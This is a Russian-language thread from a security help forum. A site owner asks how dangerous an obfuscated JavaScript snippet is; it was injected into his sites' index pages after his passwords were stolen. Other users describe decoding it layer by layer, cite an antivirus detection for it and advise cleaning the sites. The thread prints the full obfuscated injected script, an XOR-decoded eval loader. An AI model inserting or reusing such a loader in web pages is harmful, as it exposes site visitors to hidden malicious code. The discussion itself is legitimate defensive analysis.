Показано с 1 по 4 из 4.

Пытаюсь расшифровать вредоносный код

  1. #1
    Junior Member Репутация
    Регистрация
    26.03.2007
    Сообщений
    1
    Вес репутации
    63

    Пытаюсь расшифровать вредоносный код

    Здравствуйте!

    Вирус или троян, укравший у меня пароли 2 недели назад, оставил такие записи в index страницах моих сайтов (например _ttp://www.linens.ru/ ):
    Код:
                <!-- ! --><script>var VJL='OO9Oo9Or9Oy9O09O39Ot9OA9Ob9Op9OW9OE9OF9OH9Of9OG9Ow9Oc9O59On9ON9Ok9Od9OZ9Oj9OX9O79OD9Og9Oa9O89oO9oo9or9oy9o09o39ot9oA9ob9op9oW9oE9oF9oH9of9oG9ow9oc9o59on9oN9ok9od9oZ9oj9oX9o79oD9og9oa9o89rO9ro9rr9ry9r09r39rt9rA9rb9rp9rW9rE9rF9rH9rf9rG',AFh=String('9');var Dr=Array(MS('14264'),MS('14259'),MS('14271'),MS('14249'),MS('14257'),15040^3449,17207^29829,MS('14248'),2649^15787,7426^10921,22339^24813,MS('14261'),20323^30871,MS('14334'),16431^30671,22034^25021,MS('14252'),MS('14306'),20335^30917,12678^1595,MS('14332'),MS('14239'),MS('14213'),MS('14253'),29676^17421,MS('14331'),16119^2387,MS('14270'),MS('14266'),20530^26531,MS('14267'),MS('14317'),30926^20261,MS('14235'),MS('14214'),28514^22769,MS('14260'),17341^29737,18346^28705,MS('14234'),MS('14262'),18959^32145,MS('14245'),8315^6037,18131^29017,MS('14231'),5923^8359,MS('14256'),18372^28707,24318^26993,MS('14325'),28541^22669,MS('14246'),MS('14237'),MS('14319'),10284^8137,31075^20105,16875^30211,31415^19765,5057^9261,14246^79,14263^83,MS('14224'),14898^3495,11643^6889,MS('14247'),3512^14873,2001^12361,MS('14230'),MS('14263'),MS('14233'),MS('14327'),24234^26925,MS('14209'),MS('14220'),MS('14216'),MS('14221'),MS('14323')),GIlJ;var wOW,AQd;var zr='OOOoOrOyO0O3OtOAObOpOWOEOAO3OFOHOfOGOrOWOEOwOAOcO5OnOWONOEOkOdOZOjOXOnOnO7OnOWO7OnO5O7OnODO7OnOgO7OnOZO7OnOaO7OnO8O7OnoOO7OnooO7OnorO7OnOGO7OnoyO7Ono0O7Ono3O7OnOOO7OnOdO7OnotO7OnoAO7OnobO7OnopO7OnOAO7OnoWO7OnoEO7OnoFO7OnoHO7OnofO7OnoGO7OnOwO7OnowO7OnOEO7OWOnO7OWOWO7OWO5O7OWODO7OWOgO7OWOZO7OWOaO7OWO8O7OWoOO7OWooO7OWorO7OWOGO7OWoyO7OWo0O7OWo3O7OWOOO7OWOdO7OWotO7OWoAO7OWobO7OWopO7OWOAO7OWoWO7OWoEO7OWoFO7OWoHO7OWofO7OWoGO7OWOwO7OWowO7OWOEO7O5OnO7O5OWO7O5O5O7O5ODO7O5OgO7O5OZO7O5OaO7O5O8O7O5oOO7O5ooO7O5orO7O5OGO7O5oyOXocO5OnOWONOWOZOjo5OAOWOEOtO8OFOXO7OXonoNokOWOjodOWOWOnoEOFOWoHoyOFOXoFoZojoXojOXonoNoOojojo7oOoDo7oOogoooNOWoHoyOFOXoFo7ogoXoFOXonoNOWoHoyOFOXoFo7ogo7ooOXonoNOWoHoyOFOXoFo7ogoaoFOXonoNoZoOoaoXoDoFogojoFoOoNOWoHoyOFOXoFo7ogo7oOOXonoNOWoHoyOFOXoFoZojoooOOXonoNOWoHoyOFOXoFo7ogoaojOXonoNOWoHoyOFOXoFo7ogo7ogOXonoNoOoaoOoooXoDoFoXoFojojoNOWoHoyOFOXoFo7ogoaogOXonoNoFoOo7ogoXoDoZoXoOojoNOWoHoyOFOXoFo7ogogo8OXonoNoFojoXoZoXoDoOoOo8oFoooNoOo8oOoFoFoDooogoZojoNoFojo8o7ogoDoOogoaoXoOoNoZoFo7ojoZoDo8ojoXoooNOWoHoyOFOXoFo7ogogoaOXonoNoOoXoooaogoDoooZo7ojoNoFoXogoZoaoDoOo7oZo7oZoNo8o7oaoZoDoZoOojoooOoNOWoHoyOFOXoFo7ogoaoXOXonoNoOoFoFo8oFoDoFojoFoaoooNoFo7ogoooFoDoOogoOoooNOWoHoyOFOXoFo7ogoao8OXonoNOWoHoyOFOXoFo7ogoaoZOXonoNOWoHoyOFOXoFo7ogoZoFOXonoNOWoHoyOFOXoFo7ogo7oZOXonoNOWoHoyOFOXoFo7ogoXogOXonoNOWoHoyOFOXoFo7ogoFoOOXonoNoFoZo7o7oXoDoOoXogoOoNOWoHoyOFOXoFo7ogogooOXonoNOWoHoyOFOXoFoZojoXo8OXonoNOWoHoyOFOXoFoZojojo7OXonoNoOoOoFoFo8oDoZogoFoXoooNo8oXo7oZoDoZoOoooooaoNOWoHoyOFOXoFo7ogoFoFOXonoNOWoHoyOFOXoFoZojoooXOXonoNoFo7oZoZogoDooogojoNOWoHoyOFOXoFo7ogoZoXOXonoNOWoHoyOFOXoFo7ogoFo7OXonoNoOogogojogoDoZoOo7oFoooNOWoHoyOFOXoFoZojooojOXonoNOWoHoyOFOXoFo7ogoZooOXonoNoOo7oFo7oFoDoFoooOoaoOoNoFoXoOojo8oDoOoaoZoaoZoNOWoHoyOFOXoFo7ogoOoOOXonoNoZoOoaoXoooDojo8o8oooNOWoHoyOFOXoFo7ogoFogOXonoNOWoHoyOFOXoFo7ogo7o8OXonoNOWoHoyOFOXoFoZojo8oaOXonoNoOoZojoZoXoDoFoooao8oOoNOWoHoyOFOXoFo7ogoOo7OXonoNo8oOogojoDoOoXojogoooNo8oXoaoZoDoZoOoooaoZoNOWoHoyOFOXoFoZojoooFOXonoNoZogoZoooaoDoOoOogoFoOoNoFojoOooogoDoOoOoZoOoZoNOWoHoyOFOXoFoZojo8oFOXonoNOWoHoyOFOXoFoZojo8ogOXonoNoXoaoOoXoDoOoooXoOoooNoOoOoZoXoXoDoFojoOoOoZoNoFogo8oZoOoDoZoFogoOoNOWoHoyOFOXoFo7ogoOo8OXonoNOWoHoyOFOXoFo7ogoao7OXonoNoOojojoooFoDoaoOoOoaoNOWoHoyOFOXoFo7ogogojOXonoNOWoHoyOFOXoFo7ogoOoFOXonoNoooFoZo7oDoOoXooo8oaoNoFoaoOoOoDoFoOoXoFoaoNOWoHoyOFOXoFo7ogogoXOXonoNoFojogooojoDoOoOoZoaoOoNOWoHoyOFOXoFo7ogoaooOXonoNoZoOoOoXoaoDojoFoZoOonocO5OnOWONorO0oNrOODocO5OnOWONO0rooNorrrOjOXOnOnOnOWOnO5OnODOnOgOnOZOnOaOnO8OnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyOno0Ono3OnO5OnOOOnOdOnotOnoAOnobOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyOnOdOnotOnoAOnobOnoEOnoFOnoWOnorOnoHOnOaOnofOnoGOnOwOnowOnODOnoyOnOEOnOWOWOnOWOWOWO5OWODOWOgOWOgOWOnOWOgOWOZOWOnOWOgOWOaOWOnOWOgOnOGOWOnOWOgOnoFOWOnOWOgOnOdOWOnOWOgOnO5OWOnOWOgOnODOWOnOWOgOWO8OWOnOWOgOWoOOWOnOWOgOnotOWOnOWOgOnofOWOnOWOgOWooOWOnOWOgOWorOWOnOWOgOnowOWOnOWOgOnoWOWOnOWOgOWOGOWOnOWOgOnooOWOnOWOgOnOZOWOnOWOgOWoyOWOnOWOgOWo0OWOnOWOgOnOaOWOnOWOgOWo3OWOnOWOgOWOOOWOnOWOgOWOdOWOnOWOgOnoAOWOnOWOgOWotOWOnOWOgOWoAOWOnOWOgOWobOWODOWopOnOZOnOaOWOAOnooOWO5OWoWOnOaOnODOnOgOnorOnoHOnOOOWODOWOnOWODOnopOWoEOnOwOnowOnODOnoyOno0OWoFOnorOWO5OWOZOnODOnODOnowOWooOnOOOWOOOWo3OWoHOWofOWOGOWoGOWOOOWofOWOwOWopOWowOWOEOWo3OWofOWofOWoGOWO8OWoyOWOEOWofOWopOWOOOWOGOWo3OWoyOWOGOWoGOWOwOWofOWOGOWoHOWopOWowOWowOWowOWowOWoyOWoGOWOwOWowOWofOWo3OWoHOWopOWoHOWo3OWoyOWofOWoGOWOOOWoHOWoyOWOGOWowOWopOWowOWOGOWOOOWOGOWofOWoGOWOOOWoyOWOwOWofOWofOWopOWowOWOGOWo3OWo3OWoHOWoGOWOOOWoyOWowOWOGOWOwOWopOWoHOWo3OWowOWOGOWoGOWOOOWoHOWoyOWO8OWOwOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWoyOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWOGOWo3OWODOnopOWopOWOOOWOOOWofOWoHOWofOWoGOWOOOWO8OWOGOWofOWopOWOOOWOOOWOGOWo3OWofOWoGOWowOWOEOWoHOWowOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWowOWODOnopOWopOWowOWofOWOOOWOOOWOOOWoGOWO8OWowOWo3OWO8OWopOWowOWO8OWOGOWO8OWOEOWoGOWOOOWofOWOEOWO8OWofOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWOOOWoHOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWowOWoyOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWOOOWODOnopOWopOWoHOWOGOWo3OWowOWoGOWOOOWoHOWofOWoyOWoHOWopOWOOOWO8OWOwOWOEOWoGOWOOOWOOOWOEOWowOWowOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWowOWofOWODOnopOWopOWoHOWOEOWofOWofOWoGOWOwOWo3OWOOOWO8OWofOWopOWO8OWO8OWoHOWOOOWoGOWowOWofOWofOWoyOWOwOWopOWowOWOOOWO8OWowOWo3OWoGOWOOOWOGOWofOWo3OWOwOWopOWOwOWo3OWoyOWOOOWoyOWoGOWoHOWoHOWOEOWoHOWopOWOwOWOOOWofOWOGOWo3OWoGOWowOWOOOWo3OWO8OWO8OWopOWOOOWoHOWowOWowOWoGOWOOOWOwOWO8OWOwOWowOWopOWowOWoHOWoHOWoyOWO8OWoGOWofOWOGOWOwOWoHOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWOwOWOwOWODOnopOnopOWopO5O5OnOGOWoEOnOwOnowOnODOnoyO5ODO5OgOWopO5OZOnorOWoEOnOwOnowOnODOnoyO5OaOnorOWoFOWO5OWODOWOgOWOgOWOgOWOZOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOnODOWOgOWO8OWOgOnOGOWOgOWoOOWOgOnotOWOgOnofOWOgOWooOWOgOWorOWOgOWorOWOgOnowOWOgOnoWOWOgOWOGOWOgOWOGOWOgOWoOOWOgOnooOWOgOWoOOWOgOnooOWOgOnOZOWOgOWoyOWOgOWo0OWOgOnooOWOgOnOGOWOgOnOaOWOgOWOGOWOgOnooOWOgOWOGOWOgOnO5OWOgOWo3OWOgOnowOWOgOWOGOWOgOnofOWOgOnODOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOWOOOWOgOnooOWOgOnOGOWOgOWOdOWOgOnO5OWOgOnOGOWOgOnotOWOgOnoAOWOgOnODOWOgOWotOWOgOWOZOWOgOWOdOWOgOWorOWOgOWooOWOgOnotOWOgOWoAOWOgOnODOWOgOWooOWOgOnO5OWOgOWOZOWOgOnOaOWOgOWooOWOgOWorOWOgOnotOWOgOWoAOWOgOWobOWOgOWOgOWOgOWOGOWOgOWOZOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOWobOWODOWopO5O8O5OaOnOWOWO5OWODOWODOWoEOnOEOnOWOWOnOWOWOWO5OnOEOnOWOWOnOWOWOnoEOnOWOnOZOnoFOnOgOnOaOnOOOnOZOnOaOWOAOnooOnopOWoEOnoOOnOGOnODOnOOO5O5OnOGOWO5OWo3OWoEO5O5OnOGOnOnO5OaOnorOWoFOnoEOnoFOnoWOnorOnoHOnOaOnofOWoEO5O5OnOGO5oOOWO5OWOOOnopOnOAO5OZOnorOWO5O5OaOnorOWoFOnoEOnOWOnooO5OgOnOWOnOaOnODOnOOO5O5OnOGOWopOWOOOnopOWoEOnoOOnOGOnODOnOOO5ODO5OgOWO5OWo3OWoEO5ODO5OgOnOnOnOEOnOWOWOnOWOWOnoEOnoFOnoWOnorOnoHOnOaOnofOWoEO5ODO5OgO5oOO5oOOnopOnOAOnOgOnoOOnOOOnOEOnOWOWOnOWOWO5ooO5ODO5OgO5orOWO5OWO5O5OZOnorOnopO5OgOnODOnoWOnowO5ODOWoEOnoGOnoyO5O8O5OaOnOWO5oOOWO5OWoWOnOaOnODOnOgOnorOnoHOnoEOnoOOnODOnOGOWobO5OWOnofOnowOnODO5OWOnOGO5OGOnoWOnOOOno0OWoFOnorO5ooO5ODO5OgO5orOWoGOWOOOWo3OWoyOWofOWO8OnopOWoEOnoGOnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyOWo0OWOnO5OnO5OWOnOOOnoFOWOaOnOWOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyOnOZOnowOnODOnOWOnoWOWoAOnorOnOaOnOOOnoFOWOaOnOWOnopOnoGOnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyO5OaO5OZOnOOO5ODOWoOO5OaOWOdOWopOWoFO5OZOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyO5ODOWoOO5OaOWOdOnoEOnOWOnOZOnoFOnOgOnOaOnOOOWoFO5OZOnopOnoGO5OGOnOGOnO5OnooOWobOnoWOnorOnOaOnoEOnotOnODOnOgOnOaOnoWOnOOO5O8O5OaOnOWOnopOWoEOnOnO5oyOnOWOnO5OnODOnOgOnOZOnOaOnO8OXocO5OnOWONoWO8Ojo5OAOWOEOtO8OFonocOgOyOtOrOAOEOoOtONOWoHoyOFOGOaonryOWO3OAOyOWOtONOwOnOWOGO3roOtOAOFOGOaonr0OgOyOtOrOAOEOoOtONO7r3O5opOFrOrtrAoEoNodokrbOWonryOWO3OAOyOWOtONrOrtrAoEObOGOwowOEOAOFodokrbOWonr0OEOkOdOZOjOEOkOdOZObOGOwowOEOAOFOWOZonocOgOoOWOForO0OjogocorO0OforrrObowO3OtO8OAo3ocorO0rpOjoFonryO0roOjorrrObOGOyODOGOAOWOForO0oNoFonocOgOoOWOFrOODOjogocrOODOfOEOkOdOZObowO3OtO8OAo3ocrOODrprponryOEOgOFOEOkOdOZrWrOODrEOjOjO0roonODOWO3OnrAocr0ONoWO8rpOjo5OAOWOEOtO8ObOgOWOoO0Oko3OnOWOkOoOOO3OFokOWrWrOODrEoDoFoZojoXoaonocr0OgOyOtOrOAOEOoOtONodo5oGrFOFoArHrfonryOWO3OAOyOWOtONoArHrfObowO3OtO8OAo3r0OOOoOrOyO0O3OtOAObOpOWOEOAO3OFoWO8onocOfrGOGOrOWOEOwOAOcOHonoc',KoW='';VJL=VJL.split(AFh);for(GIlJ=0;GIlJ<zr.length;GIlJ+=2){AQd=zr.substr(GIlJ,2);for(wOW=0;wOW<VJL.length;wOW++){if(VJL[wOW]==AQd)break;} KoW+=String.fromCharCode(Dr[wOW]^14300);}function MS(Sa){return parseInt(Sa)}function BUx(GjF){return GjF.length}function MOx(Lsrk,ZK){return Lsrk.split(ZK)}eval(KoW);</script><!-- ! -->
    Попытался расшифровать - один уровень расшифровывается если заменить eval(KoW) на alert(KoW), дальше еще один уровень зашифровки, но там, кажется Javascript-код c ошибкой.

    Прошу помочь разобраться насколько может быть вреден такой код для посетителей сайтов.

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Junior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    20.03.2007
    Сообщений
    64
    Вес репутации
    71
    Я как-то расковыривал аналогичную "капусту", в моём случае было 3 слоя.
    Смотрел алгоритм, выковыривал куски вычислений.
    Дальше сначала эмулировал, затем прогонял "внаглую" VBScript-ом

  4. #3
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для SuperBrat
    Регистрация
    09.08.2006
    Адрес
    РК
    Сообщений
    1,194
    Вес репутации
    602
    Цитата Сообщение от Dimaman Посмотреть сообщение
    Здравствуйте!
    Вирус или троян...
    Webwasher-Gateway 6.0.1 03.29.2007 JavaScript.CodeUnfolding.gen!High (suspicious)
    Опыт — это слово, которым люди называют свои ошибки.

  5. #4
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для drongo
    Регистрация
    17.09.2004
    Адрес
    Israel
    Сообщений
    7,164
    Вес репутации
    994
    Я думаю лучше почистить, так как репутация сайтов важнее

Похожие темы

  1. Ответов: 14
    Последнее сообщение: 24.06.2011, 12:57
  2. Пытаюсь все делать по правилам...
    От Rost в разделе Технические и иные вопросы
    Ответов: 3
    Последнее сообщение: 11.10.2009, 09:42
  3. Пытаюсь излечиться от Trojan.Game-Thief...
    От Barry в разделе Помогите!
    Ответов: 24
    Последнее сообщение: 28.08.2009, 10:43
  4. пытаюсь удалить спамбот безуспешно
    От pa5ha1 в разделе Помогите!
    Ответов: 1
    Последнее сообщение: 27.08.2009, 20:10
  5. Пытаюсь отбиться от вирусов.
    От kometa25rus в разделе Помогите!
    Ответов: 9
    Последнее сообщение: 26.02.2009, 13:06

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00384 seconds with 19 queries